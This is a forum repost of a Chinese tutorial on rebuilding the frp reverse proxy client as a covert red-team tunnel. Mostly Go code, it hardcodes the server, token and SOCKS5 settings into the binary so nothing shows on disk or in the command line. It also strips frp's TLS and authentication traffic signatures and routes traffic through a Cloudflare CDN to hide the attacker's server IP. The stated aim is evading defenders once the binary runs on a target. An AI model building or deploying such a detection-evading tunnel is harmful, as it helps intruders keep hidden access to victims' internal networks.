安全矩阵

 找回密码
 立即注册
搜索
查看: 3666|回复: 0

frp优化

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2022-3-19 00:23:54 | 显示全部楼层 |阅读模式
​原文链接:frp优化 (qq.com)


前言工欲善其事,必先利其器。由于frp并不是主要以渗透测试内网穿透为目的而开发的软件,所以为符合攻击对抗的要求需要对其进行改造来达到免杀、流量隐蔽等要求。

使用原版加载参数的方式一旦被防守者发现极易暴露攻击者信息,可以采取无配置文件落地或者半落地方式来规避防守。

效果如下:
  1. <code>frpc.exe -i x.x.x.x -p 17000 -r 10000 </code>
  2. <code>frpc.exe //内置所有配置参数</code>
复制代码


*命令行方式可在windows系统中可以隐藏命令参数,在linux系统可以使用history查看到,想要彻底规避需要将所需参数直接写在frp源码中再重新编译。

frpc是frp的客户端,GitHub原版使用frpc.ini传递运行参数,常使用的参数有以下几个:
  1. [common]
  2. server_addr = 127.0.0.1
  3. server_port = 17000
  4. tls_enable = true  //传输过程使用tls加密
  5. token = zhangyida  //连接服务端密码

  6. [socks5_proxy]
  7. type = tcp
  8. plugin = socks5   
  9. plugin_user = zyd               
  10. plugin_passwd = zyd  
  11. remote_port = 10000
复制代码

首先在实现之前,需要知晓原版frp是如何传递参数即frpc参数传递分析。
frp参数传递过程简析以0.33版本frp传参代码的实现如下:
cmd/frpc/sub/root.go


  1. //init():初始化参数,c代表config文件地址;v表示frpc版本
  2. func init() {
  3.   rootCmd.PersistentFlags().StringVarP(&cfgFile, "config", "c", "./frpc.ini", "config file of frpc")
  4.   rootCmd.PersistentFlags().BoolVarP(&showVersion, "version", "v", false, "version of frpc")

  5.   kcpDoneCh = make(chan struct{})
  6. }


  7. var rootCmd = &cobra.Command{
  8.   //提示信息如下
  9.   Use:   "frpc",
  10.   Short: "frpc is the client of frp (https://github.com/fatedier/frp)",
  11.   RunE: func(cmd *cobra.Command, args []string) error {
  12.     if showVersion {
  13.       fmt.Println(version.Full())
  14.       return nil
  15.     }

  16.     // Do not show command usage here.
  17.         //通过runClient方法读取配置文件信息并向服务端注册搭建隧道
  18.     err := runClient(cfgFile)
  19.     if err != nil {
  20.       fmt.Println(err)
  21.       os.Exit(1)
  22.     }
  23.     return nil
  24.   },
  25. }
复制代码

跟进runClient方法,发现以下3个方法跟解析配置文件相关





config.GetRenderedConfFromFile实现读取ini格式配置文件并最终转换为字符串

  1. //models/config/values.go

  2. package config

  3. import (
  4.   "bytes"
  5.   "io/ioutil"
  6.   "os"
  7.   "strings"
  8.   "text/template"
  9. )

  10. var (
  11.   glbEnvs map[string]string
  12. )

  13. func init() {
  14.   glbEnvs = make(map[string]string)
  15.   envs := os.Environ()
  16.   for _, env := range envs {
  17.     kv := strings.Split(env, "=")
  18.     if len(kv) != 2 {
  19.       continue
  20.     }
  21.     glbEnvs[kv[0]] = kv[1]
  22.   }
  23. }

  24. type Values struct {
  25.   Envs map[string]string // environment vars
  26. }

  27. func GetValues() *Values {
  28.   return &Values{
  29.     Envs: glbEnvs,
  30.   }
  31. }

  32. func RenderContent(in string) (out string, err error) {
  33.   tmpl, errRet := template.New("frp").Parse(in)
  34.   if errRet != nil {
  35.     err = errRet
  36.     return
  37.   }

  38.   buffer := bytes.NewBufferString("")
  39.   v := GetValues()
  40.   err = tmpl.Execute(buffer, v)
  41.   if err != nil {
  42.     return
  43.   }
  44.   out = buffer.String()
  45.   return
  46. }

  47. func GetRenderedConfFromFile(path string) (out string, err error) {
  48.   var b []byte
  49.   b, err = ioutil.ReadFile(path)
  50.   if err != nil {
  51.     return
  52.   }
  53.   content := string(b)

  54.   out, err = RenderContent(content)
  55.   return
  56. }
复制代码



parseClientCommonConf,根据传递参数方式选择ini文件格式或者命令行方式。


当为ini文件时,解析
config.GetRenderedConfFromFile返回的字符串


config.UnmarshalClientConfFromIni将content字符串转换成结构体返回cfg


当传递参数方式为命令行时,注意这个参数只是frpc的[common]参数。


config.loadAllConfFromIni主要实现读取代理相关参数

命令行传参
向cobra的init方法添加serverAddr、serverPort、forwardPort





  1. func init() {
  2.   //rootCmd.PersistentFlags().StringVarP(&cfgFile, "config", "c", "./frpc.ini", "config file of frpc")
  3.   //rootCmd.PersistentFlags().BoolVarP(&showVersion, "version", "v", false, "version of frpc")

  4.   rootCmd.PersistentFlags().StringVarP(&serverAddr, "server_addr", "i", "1.1.1.1", "server_addr")
  5.   rootCmd.PersistentFlags().StringVarP(&serverPort, "server_port", "p", "18000", "server_port")
  6.   rootCmd.PersistentFlags().StringVarP(&forwardPort, "remote_port", "r", "11000", "remote_port")

  7.   kcpDoneCh = make(chan struct{})
  8. }
复制代码
构造getConfFromCmd方法,将frpc.ini内容写入并传递添加的参数


  1. func getConfFromCmd(serverAddr string, serverPort string, fport string) {
  2.   fileContent = `[common]
  3. server_addr =` + serverAddr + `
  4. server_port = ` + serverPort + `
  5. tls_enable = true
  6. token = zyd

  7. [socks5_proxy]
  8. type = tcp
  9. plugin = socks5   
  10. plugin_user = zyd   
  11. plugin_passwd = zyd  
  12. remote_port = ` + forwardPort + `
  13. `

  14. }
复制代码

修改runClient方法,使用写入的frpc.ini取代原来读取配置文件的方法

  1. func runClient(cfgFilePath string) (err error) {
  2.   var content string
  3.   getConfFromCmd(serverAddr, serverPort, forwardPort)
  4.   content, err = fileContent, nil
  5.   if err != nil {
  6.     return
  7.   }

  8.   cfg, err := parseClientCommonCfg(CfgFileTypeIni, content)

  9.   if err != nil {
  10.     return
  11.   }

  12.   pxyCfgs, visitorCfgs, err := config.LoadAllConfFromIni(cfg.User, content, cfg.Start)
  13.   if err != nil {
  14.     return err
  15.   }

  16.   err = startService(cfg, pxyCfgs, visitorCfgs, cfgFilePath)
  17.   return
  18. }
复制代码


实现命令行传递参数,隧道搭建成功

frpc.ini完全写入源码
将getConfFromCmd方法中的所有待定参数给定即可

  1. func getConfFromCmd(serverAddr string, serverPort string, fport string) {
  2.   fileContent = `[common]
  3. server_addr =  1.1.1.1
  4. server_port = 12321
  5. tls_enable = true
  6. token = zyd

  7. [socks5_proxy]
  8. type = tcp
  9. plugin = socks5   
  10. plugin_user = zyd   
  11. plugin_passwd = zyd  
  12. remote_port = 11000
  13. `

  14. }
复制代码

特征修改特征一在tls_enable为false时,frpc与frps之间的认证流量存在特征,在models/msg/msg.go中修改。







特征二frp为了端口复用,建立TLS连接时第一个字节是固定的0x17,且后面数据包大小为317,在utils/net/tls.go中进行修改。





CDN隐藏真实IP
经过以上修改的frp无法完全隐藏攻击者vps ip,可以使用websocket协议实现cdn来规避。


首先在godady购买一个域名


使用cloudflare实现免费cdn,不能使用国内服务器,使用xg或者国外vps且免费版的cloudflare存在端口限制,只能使用常见http/s使用的端口。
http:80,8080,8880,2052,2082,2086,2095
https:443,2053,2083,2087,2096,8443


修改源码中的server_addr为自己的域名

效果
删除不必要文件后使用frp自带的packge.sh编译缩后在目标执行即可。



           

  •        

  1. 参考
  2. https://uknowsec.cn/posts/notes/FRP%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92.html
  3. https://sec.lz520520.com/2020/11/566/
复制代码








回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-24 12:02 , Processed in 0.018199 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表